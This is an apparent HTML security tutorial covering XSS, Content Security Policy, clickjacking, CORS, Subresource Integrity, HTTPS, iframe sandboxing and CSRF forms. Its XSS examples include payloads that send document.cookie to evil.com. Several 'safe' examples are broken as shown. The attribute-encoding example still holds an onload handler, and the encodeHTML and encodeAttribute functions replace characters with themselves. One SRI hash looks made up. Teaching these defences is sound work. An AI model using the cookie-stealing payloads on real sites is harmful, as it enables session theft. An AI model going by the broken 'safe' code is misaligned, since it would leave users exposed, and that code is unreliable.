HTML Security (CSP / XSS)
Web security is a critical concern for every HTML developer. Browsers have built-in defenses, but the first line of defense is writing secure HTML. This guide covers the most common web vulnerabilities and the HTML mechanisms available to mitigate them, with a primary focus on Cross-Site Scripting (XSS) and Content Security Policy (CSP).
Security is not a single feature — it is a layered approach. Each defense mechanism addresses specific attack vectors. Understanding how these mechanisms work together helps you build applications that are resilient against evolving threats.
warning
Cross-Site Scripting (XSS) is a vulnerability where attackers inject malicious scripts into web pages viewed by other users. XSS is the most common web security vulnerability and can lead to session hijacking, credential theft, and malware distribution.
| Type | Mechanism | Persistence | Severity |
|---|---|---|---|
| Reflected XSS | Malicious script is part of the request (URL, query parameter) and reflected immediately in the response | Non-persistent | Medium |
| Stored XSS | Malicious script is stored on the server (database, comment system) and served to all visitors | Persistent | Critical |
| DOM-based XSS | Vulnerability exists entirely in client-side JavaScript — the page itself is safe, but JS manipulates the DOM unsafely | Non-persistent | High |
| 1 | <!-- Reflected XSS example (vulnerable) --> |
| 2 | <!-- URL: https://example.com/search?q=<script>alert('xss')</script> --> |
| 3 | <div> |
| 4 | Search results for: <strong><?= $_GET['q'] ?></strong> |
| 5 | <!-- Unsafe: server echoes user input without encoding --> |
| 6 | </div> |
| 7 | |
| 8 | <!-- Stored XSS example (vulnerable) --> |
| 9 | <!-- User submits comment containing: --> |
| 10 | <!-- <script>document.location='https://evil.com/?c='+document.cookie</script> --> |
| 11 | <div class="comment"> |
| 12 | <p><?= $comment->body ?></p> |
| 13 | <!-- All visitors execute the injected script --> |
| 14 | </div> |
| 15 | |
| 16 | <!-- DOM-based XSS example (vulnerable) --> |
| 17 | <script> |
| 18 | // Unsafe: innerHTML with user-controlled data |
| 19 | const name = new URLSearchParams(window.location.search).get('name'); |
| 20 | document.getElementById('greeting').innerHTML = 'Hello, ' + name; |
| 21 | |
| 22 | // Safe: textContent prevents HTML injection |
| 23 | document.getElementById('greeting').textContent = 'Hello, ' + name; |
| 24 | </script> |
| 25 | |
| 26 | <!-- XSS via attribute injection --> |
| 27 | <!-- Bad: attacker breaks out of attribute --> |
| 28 | <img src="https://example.com/image.jpg" alt="" |
| 29 | onload="fetch('https://evil.com/steal?c='+document.cookie)"> |
| 30 | |
| 31 | <!-- Safe: encode attribute values --> |
| 32 | <img src="https://example.com/image.jpg" alt="" onload="alert(1)""> |
best practice
Content Security Policy is an HTTP response header that allows you to control which resources the browser is allowed to load for a given page. CSP is the most powerful defense against XSS. It works by defining a whitelist of trusted sources for scripts, styles, images, fonts, and other resource types.
| Directive | Controls | Example Value |
|---|---|---|
| default-src | Fallback for all resource types | 'self' |
| script-src | Allowed script sources | 'self' 'nonce-abc123' https://analytics.example.com |
| style-src | Allowed stylesheet sources | 'self' 'unsafe-inline' |
| img-src | Allowed image sources | 'self' https://images.example.com data: |
| font-src | Allowed font sources | 'self' https://fonts.gstatic.com |
| connect-src | Allowed fetch/XMLHttpRequest targets | 'self' https://api.example.com |
| frame-src | Allowed iframe sources | 'self' https://embed.example.com |
| frame-ancestors | Who can embed this page in an iframe | 'self' https://app.example.com |
| base-uri | Allowed URLs for <base> element | 'self' |
| report-uri | Where to send violation reports | https://example.com/csp-report |
| report-to | Reporting API endpoint for violations | csp-endpoint |
| form-action | Allowed form submission targets | 'self' |
| 1 | <!-- CSP via HTTP header (preferred) --> |
| 2 | <!-- Content-Security-Policy: |
| 3 | default-src 'self'; |
| 4 | script-src 'self' 'nonce-abc123' https://analytics.example.com; |
| 5 | style-src 'self' 'unsafe-inline'; |
| 6 | img-src 'self' https://images.example.com data: blob:; |
| 7 | font-src 'self' https://fonts.gstatic.com; |
| 8 | connect-src 'self' https://api.example.com wss://ws.example.com; |
| 9 | frame-src 'self' https://embed.example.com; |
| 10 | frame-ancestors 'none'; |
| 11 | base-uri 'self'; |
| 12 | form-action 'self'; |
| 13 | report-uri https://example.com/csp-report; |
| 14 | report-to csp-endpoint |
| 15 | --> |
| 16 | |
| 17 | <!-- CSP via meta tag (limited) --> |
| 18 | <meta |
| 19 | http-equiv="Content-Security-Policy" |
| 20 | content="default-src 'self'; |
| 21 | script-src 'self' 'nonce-abc123'; |
| 22 | style-src 'self' 'unsafe-inline'; |
| 23 | img-src 'self' https://images.example.com data:; |
| 24 | font-src 'self' https://fonts.gstatic.com; |
| 25 | frame-ancestors 'none';" |
| 26 | > |
| 27 | |
| 28 | <!-- Using nonce-based script allowlisting --> |
| 29 | <script nonce="abc123"> |
| 30 | // This inline script is allowed by the CSP nonce |
| 31 | initApplication(); |
| 32 | </script> |
| 33 | |
| 34 | <!-- Strict CSP using hashes --> |
| 35 | <style> |
| 36 | /* Allowed by hash */ |
| 37 | body { background: #000; } |
| 38 | </style> |
| 39 | |
| 40 | <!-- CSP reporting endpoint --> |
| 41 | <script> |
| 42 | const reportSample = { |
| 43 | "csp-report": { |
| 44 | "document-uri": "https://example.com/page", |
| 45 | "blocked-uri": "https://evil.com/script.js", |
| 46 | "violated-directive": "script-src 'self'", |
| 47 | "original-policy": "default-src 'self'; script-src 'self'" |
| 48 | } |
| 49 | }; |
| 50 | </script> |
best practice
Preventing XSS requires a multi-layered approach. The following techniques, used together, provide comprehensive protection against script injection attacks.
| Technique | Description | Effectiveness |
|---|---|---|
| Output Encoding | Encode special characters (<, >, &, ", ') before rendering user data in HTML | Essential |
| Input Validation | Validate and sanitize user input on both client and server. Reject unexpected formats. | Important |
| CSP | Restrict which scripts can execute using nonces, hashes, or origin allowlists | Very High |
| Trusted Types | Enforce that DOM manipulation APIs (innerHTML, outerHTML) only accept trusted, sanitized values | High |
| Sanitization | Strip dangerous tags and attributes from user-provided HTML (e.g., DOMPurify) | Good (with CSP) |
| HttpOnly Cookies | Prevents JavaScript from accessing authentication cookies, limiting damage from XSS | Mitigation |
| Context-aware Escaping | Different encoding for HTML body, attributes, URLs, CSS, and JavaScript contexts | Essential |
| 1 | <!-- Trusted Types enforcement --> |
| 2 | <meta |
| 3 | http-equiv="Content-Security-Policy" |
| 4 | content="require-trusted-types-for 'script'" |
| 5 | > |
| 6 | |
| 7 | <script> |
| 8 | // Without Trusted Types — blocked by CSP |
| 9 | document.getElementById('app').innerHTML = userInput; |
| 10 | |
| 11 | // With Trusted Types — policy-based sanitization |
| 12 | const sanitizer = trustedTypes.createPolicy('default', { |
| 13 | createHTML: (input) => { |
| 14 | return DOMPurify.sanitize(input, { |
| 15 | ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'], |
| 16 | ALLOWED_ATTR: ['href', 'title'], |
| 17 | }); |
| 18 | }, |
| 19 | }); |
| 20 | el.innerHTML = sanitizer.createHTML(userInput); |
| 21 | </script> |
| 22 | |
| 23 | <!-- DOMPurify sanitization --> |
| 24 | <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.0/purify.min.js"></script> |
| 25 | <script> |
| 26 | const dirty = '<img src=x onerror=alert(1)>'; |
| 27 | const clean = DOMPurify.sanitize(dirty); |
| 28 | // clean = '<img src="x">' — onerror removed |
| 29 | document.getElementById('app').innerHTML = clean; |
| 30 | </script> |
| 31 | |
| 32 | <!-- Context-aware encoding in JavaScript --> |
| 33 | <script> |
| 34 | function encodeHTML(str) { |
| 35 | return str.replace(/&/g, '&') |
| 36 | .replace(/</g, '<') |
| 37 | .replace(/>/g, '>') |
| 38 | .replace(/"/g, '"') |
| 39 | .replace(/'/g, '''); |
| 40 | } |
| 41 | |
| 42 | function encodeAttribute(str) { |
| 43 | return str.replace(/"/g, '"') |
| 44 | .replace(/'/g, ''') |
| 45 | .replace(/</g, '<') |
| 46 | .replace(/>/g, '>') |
| 47 | .replace(/&/g, '&'); |
| 48 | } |
| 49 | |
| 50 | // Safe rendering |
| 51 | el.innerHTML = encodeHTML(userName); // HTML body context |
| 52 | el.setAttribute('title', encodeAttribute(userTitle)); // Attribute context |
| 53 | </script> |
pro tip
Clickjacking tricks users into clicking something different from what they perceive by overlaying a transparent iframe over a legitimate-looking page. The attacker lures users into performing actions they did not intend, such as clicking a "Like" button or submitting a form.
| Method | Implementation | Support |
|---|---|---|
| X-Frame-Options | HTTP header: DENY or SAMEORIGIN | Broad (legacy, superseded by CSP) |
| CSP frame-ancestors | CSP directive: frame-ancestors 'self' | Modern browsers (CSP Level 2+) |
| JS frame-busting | JavaScript check: if (top !== self) | Can be bypassed — use headers |
| 1 | <!-- X-Frame-Options (legacy) --> |
| 2 | <!-- HTTP Header: X-Frame-Options: DENY --> |
| 3 | <!-- HTTP Header: X-Frame-Options: SAMEORIGIN --> |
| 4 | |
| 5 | <!-- CSP frame-ancestors (modern, preferred) --> |
| 6 | <!-- Content-Security-Policy: frame-ancestors 'none' --> |
| 7 | <!-- Content-Security-Policy: frame-ancestors 'self' --> |
| 8 | <!-- Content-Security-Policy: frame-ancestors 'self' https://trusted-app.com --> |
| 9 | |
| 10 | <!-- CSP frame-ancestors via meta tag --> |
| 11 | <meta |
| 12 | http-equiv="Content-Security-Policy" |
| 13 | content="frame-ancestors 'self'" |
| 14 | > |
| 15 | |
| 16 | <!-- JavaScript frame-busting (last resort) --> |
| 17 | <script> |
| 18 | if (top !== self) { |
| 19 | top.location = self.location; |
| 20 | } |
| 21 | </script> |
| 22 | |
| 23 | <style> |
| 24 | /* CSS defense: hide body if framed (bypassable) */ |
| 25 | body { display: none; } |
| 26 | :root:only-child body { display: block; } |
| 27 | </style> |
| 28 | |
| 29 | <!-- Allowing your site to be embedded safely --> |
| 30 | <!-- Only embed in trusted origins --> |
| 31 | <iframe |
| 32 | src="https://trusted-app.com/widget" |
| 33 | title="Trusted Widget" |
| 34 | sandbox="allow-scripts allow-same-origin" |
| 35 | ></iframe> |
best practice
CORS is a browser security mechanism that controls how resources on one origin can be requested from another origin. By default, browsers block cross-origin HTTP requests for security reasons. CORS headers allow servers to explicitly opt into cross-origin sharing.
| Header | Purpose |
|---|---|
| Access-Control-Allow-Origin | Specifies which origins can access the resource (* or specific origin) |
| Access-Control-Allow-Methods | Lists allowed HTTP methods (GET, POST, PUT, DELETE, etc.) |
| Access-Control-Allow-Headers | Lists allowed request headers |
| Access-Control-Allow-Credentials | Indicates whether credentials (cookies, auth) can be included |
| Access-Control-Max-Age | How long the preflight result can be cached |
| Access-Control-Expose-Headers | Which response headers the client script can access |
| 1 | <!-- CORS preflight request (OPTIONS) --> |
| 2 | <!-- |
| 3 | Request: |
| 4 | OPTIONS /api/data HTTP/1.1 |
| 5 | Origin: https://app.example.com |
| 6 | Access-Control-Request-Method: POST |
| 7 | Access-Control-Request-Headers: Content-Type, Authorization |
| 8 | |
| 9 | Response: |
| 10 | HTTP/1.1 204 No Content |
| 11 | Access-Control-Allow-Origin: https://app.example.com |
| 12 | Access-Control-Allow-Methods: GET, POST, PUT, DELETE |
| 13 | Access-Control-Allow-Headers: Content-Type, Authorization |
| 14 | Access-Control-Allow-Credentials: true |
| 15 | Access-Control-Max-Age: 86400 |
| 16 | --> |
| 17 | |
| 18 | <!-- Cross-origin fetch from HTML --> |
| 19 | <script> |
| 20 | // Simple request (GET with no custom headers) |
| 21 | fetch('https://api.example.com/public') |
| 22 | .then(r => r.json()) |
| 23 | .then(data => console.log(data)); |
| 24 | |
| 25 | // Request with credentials (cookies) |
| 26 | fetch('https://api.example.com/user', { |
| 27 | credentials: 'include', // send cookies |
| 28 | }) |
| 29 | .then(r => r.json()) |
| 30 | .then(data => console.log(data)); |
| 31 | |
| 32 | // Preflight triggered (custom headers, non-simple methods) |
| 33 | fetch('https://api.example.com/data', { |
| 34 | method: 'POST', |
| 35 | headers: { |
| 36 | 'Content-Type': 'application/json', |
| 37 | 'X-Custom-Header': 'value', |
| 38 | }, |
| 39 | body: JSON.stringify({ key: 'value' }), |
| 40 | }); |
| 41 | </script> |
| 42 | |
| 43 | <!-- CORS-safe image loading --> |
| 44 | <img |
| 45 | src="https://cdn.example.com/images/photo.jpg" |
| 46 | alt="Cross-origin image" |
| 47 | crossorigin="anonymous" |
| 48 | > |
| 49 | |
| 50 | <!-- CORS-enabled font loading --> |
| 51 | <link |
| 52 | rel="preconnect" |
| 53 | href="https://fonts.gstatic.com" |
| 54 | crossorigin |
| 55 | > |
| 56 | <link |
| 57 | href="https://fonts.googleapis.com/css2?family=Inter:wght@400;700&display=swap" |
| 58 | rel="stylesheet" |
| 59 | > |
warning
Subresource Integrity (SRI) is a security feature that allows browsers to verify that resources fetched from third-party origins (CDNs) have not been tampered with. It works by comparing the cryptographic hash of the fetched file against a hash specified in the integrity attribute.
| 1 | <!-- SRI for external scripts --> |
| 2 | <script |
| 3 | src="https://cdn.example.com/library.js" |
| 4 | integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" |
| 5 | crossorigin="anonymous" |
| 6 | ></script> |
| 7 | |
| 8 | <!-- SRI for external stylesheets --> |
| 9 | <link |
| 10 | rel="stylesheet" |
| 11 | href="https://cdn.example.com/styles.css" |
| 12 | integrity="sha384-+/M6kredJcxdsqjCVqE8s0kFG7Hle6Uf0S1f3W1s5C1l5Z1s0P6oF5h5P5P5g5" |
| 13 | crossorigin="anonymous" |
| 14 | > |
| 15 | |
| 16 | <!-- SRI for popular CDN resources --> |
| 17 | <link |
| 18 | rel="stylesheet" |
| 19 | href="https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.min.css" |
| 20 | integrity="sha512-NhSC1YmyruXifcj/KFRWoC561YpHpc5Jtzgvbuzx5VozKpWvQ+4nXhPdFgmx8xqexRcpAglTj9sIB8XcIRNZHw==" |
| 21 | crossorigin="anonymous" |
| 22 | referrerpolicy="no-referrer" |
| 23 | > |
| 24 | |
| 25 | <script |
| 26 | src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.0/purify.min.js" |
| 27 | integrity="sha512-9k1frVROGNZq4q2+R1N9U4gzW5Qzth5s3OOZqOR25VbR9KPL0VW4W1B4Y7mI2hA1C1T5XH0kPZmD3GJWj0gxg==" |
| 28 | crossorigin="anonymous" |
| 29 | referrerpolicy="no-referrer" |
| 30 | ></script> |
| 31 | |
| 32 | <!-- Generating SRI hashes --> |
| 33 | <script> |
| 34 | // Using OpenSSL: |
| 35 | // openssl dgst -sha384 -binary file.js | openssl base64 -A |
| 36 | |
| 37 | // Using Node.js: |
| 38 | // const crypto = require('crypto'); |
| 39 | // const hash = crypto.createHash('sha384').update(content).digest('base64'); |
| 40 | // console.log(hash); |
| 41 | </script> |
| 42 | |
| 43 | <!-- SRI with multiple hash algorithms --> |
| 44 | <script |
| 45 | src="https://cdn.example.com/app.js" |
| 46 | integrity="sha384-ABC sha512-XYZ" |
| 47 | crossorigin="anonymous" |
| 48 | ></script> |
info
HTTPS encrypts all communication between the browser and server, preventing eavesdropping, tampering, and man-in-the-middle attacks. HTTP Strict Transport Security (HSTS) tells browsers to always use HTTPS for a given domain, even if the user types HTTP or clicks an HTTP link.
| 1 | <!-- HSTS HTTP header (preload-ready) --> |
| 2 | <!-- Strict-Transport-Security: max-age=63072000; includeSubDomains; preload --> |
| 3 | |
| 4 | <!-- Force HTTPS via meta refresh (ineffective — use server header) --> |
| 5 | <meta |
| 6 | http-equiv="refresh" |
| 7 | content="0;url=https://example.com/" |
| 8 | > |
| 9 | |
| 10 | <!-- Upgrade insecure requests via CSP --> |
| 11 | <meta |
| 12 | http-equiv="Content-Security-Policy" |
| 13 | content="upgrade-insecure-requests" |
| 14 | > |
| 15 | |
| 16 | <!-- Block mixed content via CSP --> |
| 17 | <meta |
| 18 | http-equiv="Content-Security-Policy" |
| 19 | content="block-all-mixed-content" |
| 20 | > |
| 21 | |
| 22 | <!-- Ensure all resources load over HTTPS --> |
| 23 | <script> |
| 24 | // Check if page is served over HTTPS |
| 25 | if (window.location.protocol !== 'https:') { |
| 26 | window.location.protocol = 'https:'; |
| 27 | // Note: this may cause an error if the server doesn't redirect |
| 28 | } |
| 29 | </script> |
| 30 | |
| 31 | <!-- HTTPS-only resource loading --> |
| 32 | <img src="https://cdn.example.com/photo.jpg" alt="Secure image"> |
| 33 | <link rel="stylesheet" href="https://cdn.example.com/styles.css"> |
| 34 | <script src="https://cdn.example.com/app.js" defer></script> |
| 35 | |
| 36 | <!-- Upgrade insecure form action --> |
| 37 | <form action="https://secure.example.com/submit" method="POST"> |
| 38 | <input type="text" name="data"> |
| 39 | <button type="submit">Submit</button> |
| 40 | </form> |
best practice
The sandbox attribute on <iframe> applies extra restrictions to the embedded content. It can prevent scripts, popups, form submission, and more. The attribute is a powerful security tool when embedding untrusted or third-party content.
| Token | Permission Granted |
|---|---|
| allow-scripts | Allows JavaScript execution in the iframe |
| allow-same-origin | Treats the iframe as same-origin (needed for cookies, localStorage) |
| allow-forms | Allows form submission from the iframe |
| allow-popups | Allows popup windows (window.open) |
| allow-top-navigation | Allows the iframe to navigate the top-level window |
| allow-presentation | Allows starting a presentation session |
| allow-downloads | Allows file downloads |
| (no tokens) | Most restrictive — everything blocked |
| 1 | <!-- Most restrictive: no permissions --> |
| 2 | <iframe |
| 3 | src="https://untrusted.example.com/widget" |
| 4 | title="Widget" |
| 5 | sandbox |
| 6 | ></iframe> |
| 7 | |
| 8 | <!-- Allow scripts only (common for widgets) --> |
| 9 | <iframe |
| 10 | src="https://widget.example.com/chat" |
| 11 | title="Chat Widget" |
| 12 | sandbox="allow-scripts" |
| 13 | loading="lazy" |
| 14 | ></iframe> |
| 15 | |
| 16 | <!-- Allow scripts and same-origin (for trusted subdomains) --> |
| 17 | <iframe |
| 18 | src="https://subdomain.example.com/app" |
| 19 | title="Sub App" |
| 20 | sandbox="allow-scripts allow-same-origin" |
| 21 | ></iframe> |
| 22 | |
| 23 | <!-- Payment form with necessary permissions --> |
| 24 | <iframe |
| 25 | src="https://payments.example.com/checkout" |
| 26 | title="Payment Form" |
| 27 | sandbox="allow-scripts allow-forms allow-popups" |
| 28 | allow="payment 'src'" |
| 29 | ></iframe> |
| 30 | |
| 31 | <!-- Embed with full restrictions and CSP --> |
| 32 | <iframe |
| 33 | src="https://social.example.com/post" |
| 34 | title="Social Post" |
| 35 | sandbox="allow-scripts" |
| 36 | loading="lazy" |
| 37 | referrerpolicy="no-referrer" |
| 38 | ></iframe> |
| 39 | |
| 40 | <!-- Nested iframe nightmare — avoid this --> |
| 41 | <iframe src="level1.html"> |
| 42 | <iframe src="level2.html"> |
| 43 | <!-- Each nested iframe is a separate security boundary --> |
| 44 | </iframe> |
| 45 | </iframe> |
best practice
Forms are one of the most attacked vectors on the web. Cross-Site Request Forgery (CSRF) tricks authenticated users into submitting unwanted actions. Combined with XSS, an attacker can steal form data or perform actions on behalf of users.
| 1 | <!-- Secure form with CSRF protection --> |
| 2 | <form |
| 3 | action="/api/transfer" |
| 4 | method="POST" |
| 5 | autocomplete="off" |
| 6 | > |
| 7 | <!-- CSRF token (hidden, server-generated, session-bound) --> |
| 8 | <input |
| 9 | type="hidden" |
| 10 | name="csrf_token" |
| 11 | value="a1b2c3d4e5f6..." <!-- server-generated --> |
| 12 | > |
| 13 | |
| 14 | <label for="amount">Amount</label> |
| 15 | <input |
| 16 | type="number" |
| 17 | id="amount" |
| 18 | name="amount" |
| 19 | required |
| 20 | min="0.01" |
| 21 | step="0.01" |
| 22 | > |
| 23 | |
| 24 | <label for="recipient">Recipient</label> |
| 25 | <input |
| 26 | type="text" |
| 27 | id="recipient" |
| 28 | name="recipient" |
| 29 | required |
| 30 | pattern="[A-Za-z0-9]+" |
| 31 | maxlength="50" |
| 32 | > |
| 33 | |
| 34 | <button type="submit">Send</button> |
| 35 | </form> |
| 36 | |
| 37 | <!-- CSP form-action protection --> |
| 38 | <!-- HTTP Header: |
| 39 | Content-Security-Policy: form-action 'self' |
| 40 | --> |
| 41 | |
| 42 | <!-- Prevents forms from submitting to unknown origins --> |
| 43 | <form action="https://evil.com/steal" method="POST"> |
| 44 | <!-- CSP blocks this form submission --> |
| 45 | </form> |
| 46 | |
| 47 | <!-- Use POST for state-changing requests --> |
| 48 | <!-- Bad: GET request changes state --> |
| 49 | <a href="/delete/account?id=123">Delete Account</a> |
| 50 | |
| 51 | <!-- Good: POST with CSRF protection --> |
| 52 | <form action="/delete/account" method="POST"> |
| 53 | <input type="hidden" name="id" value="123"> |
| 54 | <input type="hidden" name="csrf_token" value="..."> |
| 55 | <button type="submit">Delete Account</button> |
| 56 | </form> |
| 57 | |
| 58 | <!-- Input validation attributes --> |
| 59 | <input |
| 60 | type="email" |
| 61 | required |
| 62 | pattern="[^@]+@[^@]+.[^@]+" |
| 63 | maxlength="254" |
| 64 | title="Enter a valid email address" |
| 65 | > |
| 66 | |
| 67 | <input |
| 68 | type="url" |
| 69 | required |
| 70 | pattern="https?://.*" |
| 71 | maxlength="2048" |
| 72 | > |
warning